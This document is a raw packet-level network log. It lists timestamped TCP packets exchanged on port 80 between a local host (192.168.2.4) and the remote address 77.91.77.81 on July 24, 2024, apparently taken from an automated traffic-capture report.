Jul 24, 2024 02:39:14.018945932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018960953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018965006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018975973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.018984079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.018992901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.019007921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.019032955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.019054890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.019191027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.019207001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.019231081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.019244909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.042634010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.042694092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.042701006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.042740107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.042747021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.042792082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.042825937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.042835951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.042861938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.042870045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.042895079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.042912006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.042927980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.042942047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.042962074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.042975903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.042994976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043004990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043028116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043078899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043112040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043145895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043175936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043175936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043179035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043190956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043211937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043245077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043256044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043277025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043287992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043308973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043322086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043342113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043358088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043375969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043387890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043409109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043426037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043442011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043453932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043473959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043507099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043520927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043540955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043546915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043572903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043585062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043606997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043622017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043641090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043653965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043673038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043685913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043704987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043715000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043737888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043746948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043771029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043791056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043802977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043812990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043834925 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043848038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043868065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043879032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043900013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043910980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043932915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043943882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043967009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.043978930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.043999910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044012070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044033051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044044971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044065952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044075966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044101954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044111013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044131994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044157982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044163942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044178963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044198036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044203043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044229984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044239998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044262886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044272900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044297934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044305086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044331074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044339895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044363022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044373989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044397116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044406891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044430017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044439077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044462919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044471979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044503927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044528008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044563055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.044570923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.044608116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.107686996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.107729912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.107788086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.107811928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.107831001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.107836008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.107865095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.107875109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.107898951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.107908010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.107945919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.107949972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.107984066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.107990026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108016014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108026028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108048916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108056068 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108089924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108098984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108156919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108167887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108175039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108190060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108197927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108205080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108216047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108227968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108232975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108239889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108241081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108258009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108273983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108277082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108287096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108299017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108302116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108318090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108328104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108329058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108344078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108355999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108360052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108370066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108376980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108378887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108392000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108396053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108407974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108414888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108424902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108433962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108443022 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108464003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108567953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108582973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108598948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108625889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108648062 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108702898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108717918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108733892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108748913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108758926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108763933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108779907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.108789921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108814001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.108846903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109045029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109061003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109076023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109090090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109100103 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109105110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109119892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109122038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109136105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109143972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109153986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109164000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109169960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109184980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109186888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109203100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109210968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109229088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109476089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109491110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109505892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109517097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109520912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109527111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109538078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109544992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109553099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109554052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109569073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109579086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109586000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109587908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109602928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109606981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109620094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109638929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109867096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109882116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109896898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109908104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109910011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.109925985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109934092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.109951973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133063078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133095026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133127928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133157015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133189917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133383036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133418083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133439064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133450031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133461952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133482933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133497953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133517027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133528948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133550882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133560896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133584023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133595943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133616924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133627892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133661985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133667946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133701086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133713007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133734941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133750916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133766890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133783102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133800030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133810043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133832932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133842945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133866072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133874893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133898973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133923054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133930922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133936882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.133965015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.133970976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134005070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134088039 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134119987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134130001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134155989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134171963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134187937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134206057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134219885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134233952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134253025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134284973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134299994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134316921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134345055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134349108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134362936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134377003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134408951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134418011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134442091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134449959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134474993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134485960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134509087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134517908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134542942 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134548903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134576082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134582996 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134609938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134618044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134656906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134773016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134800911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134813070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134833097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134841919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134865999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134874105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134897947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134907007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134931087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134953976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134962082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.134972095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.134995937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.135004997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.135026932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.135037899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.135060072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.135070086 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.135092020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.135098934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.135126114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.135133028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.135162115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.135170937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.135195017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.135202885 CEST	49731	80	192.168.2.4	77.91.77.81
